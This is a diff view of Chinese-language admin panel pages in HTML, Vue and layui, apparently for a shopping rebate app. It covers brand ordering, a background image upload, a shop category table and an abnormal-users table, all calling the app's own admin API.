| | | id: item[1].key,
|
| | | id: item[13].key,
|
| | | moveType: "-1",
|
| | | },
|
| | | success: function (res)
|
| | | {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else
|
| | | {
|
| | | // 获取当前行顺序
|
| | | var thisIndex = null;
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[1].key == item[1].key) { thisIndex = i; break; } }
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[13].key == item[13].key) { thisIndex = i; break; } }
|
| | | // 直接更换顺序
|
| | | upRecord(vm_table.tbody.tr, thisIndex);
|
| | | // doui.showToast({ content: "上移成功" }); vm_table.search();
|
| | |
| | | // 当前数据
|
| | | var item = back.list[0];
|
| | | // 信息上传
|
| | | doui.showLoading();
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/brand/updateOrderBrand",
|
| | | data: {
|
| | | id: item[1].key,
|
| | | id: item[13].key,
|
| | | moveType: "1",
|
| | | },
|
| | | success: function (res)
|
| | | {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else
|
| | | {
|
| | | // 获取当前行顺序
|
| | | var thisIndex = null;
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[1].key == item[1].key) { thisIndex = i; break; } }
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[13].key == item[13].key) { thisIndex = i; break; } }
|
| | | // 直接更换顺序
|
| | | downRecord(vm_table.tbody.tr, thisIndex);
|
| | | // doui.showToast({ content: "下移成功" }); vm_table.search();
|
| | |
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | } |
| | | }); |
| | |
|
| | | |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 获取传递过来的id |
| | | doui.urlParam({ |
| | |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/brand/switchStateBrand",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
|
| | | <title>背景图设置</title>
|
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style>
|
| | | html {
|
| | | background-color: #F7FBFF;
|
| | | }
|
| | | </style>
|
| | | </head>
|
| | | <body>
|
| | | <div style="margin:50px auto; width:90%; height:auto; " id="content">
|
| | | <div style="display: flex; margin : 10px 10px 20px 18px; ">
|
| | | <div style="display: flex; width: 200px; height: 100px; text-align: center;">
|
| | | <label class="layui-form-label" style="padding: 32px 0px 32px 0px; width: 200px;;">视频封面图:</label>
|
| | | </div>
|
| | | <div style="width:auto; height: auto;">
|
| | | <div id="uploadDemoView">
|
| | | <img v-bind:src="img" id="picView" v-on:click="addPicClick(file)" style="width: 300px; height: 100px;">
|
| | | <input type="file" id="file" name="file" @change="viewPicClick(picView,$event);" accept="image/*" style="display: none;" />
|
| | | </div>
|
| | | </div>
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:25px 0px 0px 20px;"> 点击图片进行修改</div>
|
| | | </div>
|
| | | |
| | | <div class="layui-form-item" style="margin:20px 0px 0px 250px; width: 50px;">
|
| | | <div class="layui-input-block">
|
| | | <button type="button" class="layui-btn" @click="submitGoods()" style="width: 200px;height:60px">立即保存</button>
|
| | | </div>
|
| | | </div>
|
| | | <hr>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script>
|
| | | // doui准备完毕
|
| | | doui.onReady({
|
| | | success: function() {
|
| | | var vm = new Vue({
|
| | | el: "#content",
|
| | | // 数据
|
| | | data: {
|
| | | img: "../../img/ic_add_img.png",
|
| | | // 选择图片
|
| | | addPicClick: function(targetId) {
|
| | | $(targetId).click();
|
| | | },
|
| | | |
| | | // 添加替换图片
|
| | | viewPicClick: function(indexC, e) {
|
| | | //判断是否支持FileReader
|
| | | if (window.FileReader) {
|
| | | var reader = new FileReader();
|
| | | } else {
|
| | | alert("您的设备不支持图片预览功能,如需该功能请升级您的设备!");
|
| | | }
|
| | | //获取文件
|
| | | var file = e.target.files[0];
|
| | | var imageType = /^image\//;
|
| | | if (!imageType.test(file.type)) {
|
| | | return; //是否是图片
|
| | | }
|
| | | reader.onload = function(e) {
|
| | | $(indexC).attr("src", e.target.result);
|
| | | };
|
| | | reader.readAsDataURL(file);
|
| | | },
|
| | | |
| | | |
| | | /**
|
| | | * 简版商品信息上传
|
| | | */
|
| | | submitGoods: function() {
|
| | | doui.showLoading("正在处理");
|
| | | var mydata = {};
|
| | | var fileObj = document.getElementById("file").files[0]; // js 获取文件对象
|
| | | if (fileObj != null) {
|
| | | mydata.file = fileObj;
|
| | | }
|
| | | |
| | | doui.upload({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/config/changeBrandBgImg",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("成功");
|
| | | }
|
| | | }
|
| | | });
|
| | | },
|
| | | },
|
| | | |
| | | });
|
| | |
|
| | | // 请求数据
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + '/admin/new/api/v1/config/getBrandBgImg',
|
| | | data: {},
|
| | | success: function(res) {
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | vm.img = res.data.pic;
|
| | | }
|
| | | },
|
| | | });
|
| | | },
|
| | | });
|
| | | </script> |
| | | |
| | |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>店铺分类</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 发起请求 |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 初始化当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "名称", key: mo[i].name, value: mo[i].name }, |
| | | td: [
|
| | | { title: "名称", key: mo[i].name, value: mo[i].name },
|
| | | { title: "绑定商品分类", key: mo[i].gcid, value: mo[i].gcName }, |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")" }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 0) { thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; } |
| | | else { thatTr.td[0].value = "(缺省)"; thatTr.td[0]["class"] = "font-gray"; } |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | adminDom.table.thead({ |
| | | show: true, |
| | | th: [ |
| | | { title: "启用状态", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "停用" }, |
| | | { key: 1, value: "启用" }, |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "店铺分类名称", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | |
| | | type: "select", |
| | | list: [] |
| | | }, |
| | | }, |
| | | },
|
| | | { title: "启用状态", width: "", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 获取商品分类列表 |
| | |
| | | thislist.push(objThis); |
| | | } |
| | | // 成功赋值 |
| | | vm_table.thead.th[3].edit.list = thislist; |
| | | vm_table.thead.th[1].edit.list = thislist; |
| | | } |
| | | }, |
| | | }); |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 状态 |
| | | name: item[2].key, // 名称 |
| | | name: item[0].key, // 名称 |
| | | state: item[2].key, // 状态 |
| | | };
|
| | | if(verifyNumber(item[3].key)){ mydata.gcid = item[3].key; }
|
| | | if(verifyNumber(item[1].key)){ mydata.gcid = item[1].key; }
|
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/save", |
| | | data: mydata, |
| | | fail: function (res) { doui.hideLoading(); doui.showToast(res.msg); }, |
| | | fail: function (res) { layer.close(loading); doui.showToast(res.msg); }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 获取选择的id组 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][3].key); } |
| | | // 发起请求 |
| | | doui.showLoading({ content: "正在删除" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else { doui.showToast({ content: "删除成功" }); vm_table.search(); } |
| | | } |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 状态 |
| | | id: item[1].key, // ID |
| | | name: item[2].key, // 名称 |
| | | name: item[0].key, // 名称
|
| | | state: item[2].key, // 状态 |
| | | id: item[3].key, // ID |
| | | };
|
| | | if(verifyNumber(item[3].key)){ mydata.gcid = item[3].key; }
|
| | | if(verifyNumber(item[1].key)){ mydata.gcid = item[1].key; }
|
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/save", |
| | | data: mydata, |
| | | fail: function (res) { doui.hideLoading(); doui.showToast(res.msg); }, |
| | | fail: function (res) { layer.close(loading); doui.showToast(res.msg); }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/updateOrder", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[3].key, |
| | | moveType: "-1", |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else |
| | | { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[1].key == item[1].key) { thisIndex = i; break; } } |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[3].key == item[3].key) { thisIndex = i; break; } } |
| | | // 直接更换顺序 |
| | | upRecord(vm_table.tbody.tr, thisIndex); |
| | | } |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/brand/updateOrder", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[3].key, |
| | | moveType: "1", |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else |
| | | { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[1].key == item[1].key) { thisIndex = i; break; } } |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[3].key == item[3].key) { thisIndex = i; break; } } |
| | | // 直接更换顺序 |
| | | downRecord(vm_table.tbody.tr, thisIndex); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // 进入查看 |
| | | else if (back.toolName == "into") |
| | | { |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 进入子级页 |
| | | doui.pageToUrl({ |
| | | type: "replace", |
| | | url: "jingXuan.html", |
| | | data: { |
| | | id: item[1].key, |
| | | }, |
| | | }); |
| | | } |
| | | |
| | | } |
| | | }); |
| | | |
| | | |
| | | // ------------------------------------------------------------- 初始行为 |
| | | // 获取表格 |
| | | vm_table.search(); |
| | | |
| | | |
| | | document.body.style.display = "block"; |
| | | }, |
| | | }); |
| | | |
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/brand/switchStateClass",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | </script> |
| | |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"/> |
| | | <title>异常用户</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "用户状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "用户等级", key: mo[i].rankId, value: mo[i].rankPicture, dataType: "img", style: "width:90px;height:34px;" }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "昵称", key: mo[i].nickName, value: mo[i].nickName }, |
| | | { title: "用户当前余额", key: mo[i].myHongBao, value: "¥"+mo[i].myHongBao }, |
| | | { title: "累计提现", key: mo[i].totalExtract, value: "¥"+mo[i].totalExtract }, |
| | | { title: "未到账收益", key: mo[i].unaccountedMoney, value: "¥"+mo[i].unaccountedMoney }, |
| | | { title: "本月订单", key: mo[i].monthOrder, value: mo[i].monthOrder }, |
| | | { title: "累计订单", key: mo[i].totalOrder, value: mo[i].totalOrder }, |
| | | { title: "1级队员", key: mo[i].countLevelOne, value: mo[i].countLevelOne }, |
| | | { title: "手机号", key: mo[i].phone, value: mo[i].phone }, |
| | | { title: "微信", key: mo[i].wxUnionId, value: mo[i].wxName }, |
| | | { title: "淘宝", key: mo[i].taoBaoUid, value: mo[i].tbName }, |
| | | { title: "支付宝", key: mo[i].accountAlipay, value: mo[i].accountAlipay }, |
| | | { title: "支付宝收款人", key: mo[i].accountName, value: mo[i].accountName }, |
| | | { title: "注册时间", key: mo[i].createtime, value: mo[i].createtime }, |
| | | { title: "最近登录", key: mo[i].lastLoginTime, value: mo[i].lastLoginTime }, |
| | | { title: "最近下单", key: mo[i].lastOrderTime, value: mo[i].lastOrderTime }, |
| | | { title: "头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS"},
|
| | | { title: "昵称", key: mo[i].nickName, value: mo[i].nickName },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id},
|
| | | { title: "用户状态", key: mo[i].state, value: mo[i].state },
|
| | | { title: "用户等级", key: mo[i].rankId, value: mo[i].rankPicture, dataType: "img", style: "width:90px;height:34px;" },
|
| | | { title: "会员等级", key: mo[i].userLevel, value: mo[i].userLevel},
|
| | | { title: "激活状态", key: mo[i].inviteCode, value: mo[i].inviteCode},
|
| | | { title: "用户余额", key: mo[i].myHongBao, value: "¥"+mo[i].myHongBao },
|
| | | { title: "累计提现", key: mo[i].totalExtract, value: "¥"+mo[i].totalExtract },
|
| | | { title: "未到账收益", key: mo[i].unaccountedMoney, value: "¥"+mo[i].unaccountedMoney },
|
| | | { title: "本月订单", key: mo[i].monthOrder, value: mo[i].monthOrder },
|
| | | { title: "累计订单", key: mo[i].totalOrder, value: mo[i].totalOrder },
|
| | | { title: "剩余金币", key: mo[i].goldCoin, value: mo[i].goldCoin },
|
| | | { title: "1级队员", key: mo[i].countLevelOne, value: mo[i].countLevelOne },
|
| | | { title: "手机号", key: mo[i].phone, value: mo[i].phone },
|
| | | { title: "微信", key: mo[i].wxUnionId, value: mo[i].wxName },
|
| | | { title: "淘宝", key: mo[i].taoBaoUid, value: mo[i].tbName },
|
| | | { title: "支付宝", key: mo[i].accountAlipay, value: mo[i].accountAlipay },
|
| | | { title: "支付宝收款人", key: mo[i].accountName, value: mo[i].accountName },
|
| | | { title: "注册时间", key: mo[i].createtime, value: mo[i].createtime },
|
| | | { title: "最近登录", key: mo[i].lastLoginTime, value: mo[i].lastLoginTime },
|
| | | { title: "最近下单", key: mo[i].lastOrderTime, value: mo[i].lastOrderTime },
|
| | | { title: "标识", key: mo[i].mark, value: mo[i].mark }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 0) { thatTr.td[0].value = "正常"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 1) { thatTr.td[0].value = "删除"; thatTr.td[0]["class"] = "font-gray"; } |
| | | else if (thatTr.td[0].key == 2) { thatTr.td[0].value = "封禁"; thatTr.td[0]["class"] = "font-red"; } |
| | | else if (thatTr.td[0].key == 4) { thatTr.td[0].value = "长久未登录删除"; thatTr.td[0]["class"] = "font-gray"; } |
| | | // 帐号状态 |
| | | if (mo[i].phoneState == 0) { thatTr.td[11]["class"] = "font-green"; } else { thatTr.td[11]["class"] = "font-red"; } |
| | | if (mo[i].wxUnionIdState == 0) { thatTr.td[12]["class"] = "font-green"; } else { thatTr.td[12]["class"] = "font-red"; } |
| | | if (mo[i].taobaoUidState == 0) { thatTr.td[13]["class"] = "font-green"; } else { thatTr.td[13]["class"] = "font-red"; } |
| | | if (mo[i].alipayAccountState == 0) { thatTr.td[14]["class"] = "font-green"; } else { thatTr.td[14]["class"] = "font-red"; } |
| | | // 注册时间 |
| | | if (thatTr.td[16].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[16].key, |
| | | success: function (res) { thatTr.td[16].value = res; } |
| | | }); |
| | | } |
| | | // 登录时间 |
| | | if (thatTr.td[17].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[17].key, |
| | | success: function (res) { thatTr.td[17].value = res; } |
| | | }); |
| | | } |
| | | // 最近下单时间 |
| | | if (thatTr.td[18].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[18].key, |
| | | success: function (res) { thatTr.td[18].value = res; } |
| | | }); |
| | | // 状态分析
|
| | | var state = 3;
|
| | | if (thatTr.td[state].key == 0) { thatTr.td[3].value = "正常"; thatTr.td[state]["class"] = "font-green"; }
|
| | | else if (thatTr.td[state].key == 1) { thatTr.td[state].value = "删除"; thatTr.td[state]["class"] = "font-gray"; }
|
| | | else if (thatTr.td[state].key == 2) { thatTr.td[state].value = "封禁"; thatTr.td[state]["class"] = "font-red"; }
|
| | | else if (thatTr.td[state].key == 4) { thatTr.td[state].value = "长久未登录删除"; thatTr.td[state]["class"] = "font-gray"; }
|
| | | |
| | | if(mo[i].type==1)
|
| | | {
|
| | | thatTr.td[6].value =thatTr.td[6].value+"(虚拟用户)"; thatTr.td[4]["class"] = "font-red";
|
| | | }
|
| | | // 注册时间
|
| | | if (thatTr.td[19].key)
|
| | | {
|
| | | doui.timestampToDate({
|
| | | timestamp: thatTr.td[19].key,
|
| | | success: function (res) { thatTr.td[19].value = res; }
|
| | | });
|
| | | }
|
| | | // 登录时间
|
| | | if (thatTr.td[20].key)
|
| | | {
|
| | | doui.timestampToDate({
|
| | | timestamp: thatTr.td[20].key,
|
| | | success: function (res) { thatTr.td[20].value = res; }
|
| | | });
|
| | | }
|
| | | // 最近下单时间
|
| | | if (thatTr.td[21].key)
|
| | | {
|
| | | doui.timestampToDate({
|
| | | timestamp: thatTr.td[21].key,
|
| | | success: function (res) { thatTr.td[21].value = res; }
|
| | | });
|
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { |
| | | title: "用户状态", width: "0.7rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | | { key: "userStateOff", value: "封禁" }, |
| | | { key: "userStateOpen", value: "正常"} , |
| | | ], |
| | | }, |
| | | { title: "用户头像", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户昵称", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "ID", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | {
|
| | | title: "用户状态", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: {
|
| | | type: "toggle",
|
| | | list: [ |
| | | { key: "userStateOff", value: "封禁" }, |
| | | { key: "userStateOpen", value: "正常"} ,
|
| | | ],
|
| | | },
|
| | | },
|
| | | { title: "用户等级", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "会员等级", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "激活状态", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "账户余额", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "累计提现", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "未到账收益", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "本月订单", width: "0.5rem", orderUp: "3", orderDown: "4" },
|
| | | { title: "累计订单", width: "0.5rem", orderUp: "1", orderDown: "2" },
|
| | | { title: "剩余金币", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "1级队员", width: "0.5rem", orderUp: "5", orderDown: "6" },
|
| | | { |
| | | title: "手机号", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: {
|
| | | type: "toggle",
|
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } ,
|
| | | ]
|
| | | },
|
| | | },
|
| | | { |
| | | title: "微信", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: {
|
| | | type: "toggle",
|
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } ,
|
| | | ]
|
| | | },
|
| | | },
|
| | | { |
| | | title: "淘宝", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "toggle",
|
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } ,
|
| | | ]
|
| | | },
|
| | | },
|
| | | { |
| | | title: "支付宝", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: {
|
| | | type: "toggle",
|
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } ,
|
| | | ]
|
| | | },
|
| | | },
|
| | | { title: "支付宝收款人", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "注册时间", width: "0.7rem", orderUp: "", orderDown: "" },
|
| | | { title: "最近登录", width: "0.7rem", orderUp: "", orderDown: "" },
|
| | | { title: "最近下单", width: "0.7rem", orderUp: "", orderDown: "" },
|
| | | { title: "标识", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text"},
|
| | | }, |
| | | { title: "用户等级", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "昵称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "账户当前余额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "累计提现", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "未到账收益", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "本月订单数量", width: "", orderUp: "3", orderDown: "4" }, |
| | | { title: "累计订单数量", width: "", orderUp: "1", orderDown: "2" }, |
| | | { title: "1级队员", width: "", orderUp: "5", orderDown: "6" }, |
| | | { |
| | | title: "手机号", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } , |
| | | ] |
| | | }, |
| | | }, |
| | | { |
| | | title: "微信", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } , |
| | | ] |
| | | }, |
| | | }, |
| | | { |
| | | title: "淘宝", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } , |
| | | ] |
| | | }, |
| | | }, |
| | | { |
| | | title: "支付宝", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | | { key: "userStateOff", value: "解除绑定" }, |
| | | { key: "userStateOpen", value: "绑定成功" } , |
| | | ] |
| | | }, |
| | | }, |
| | | { title: "支付宝收款人", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "注册时间", width: "", orderUp: "", orderDown: "" }, |
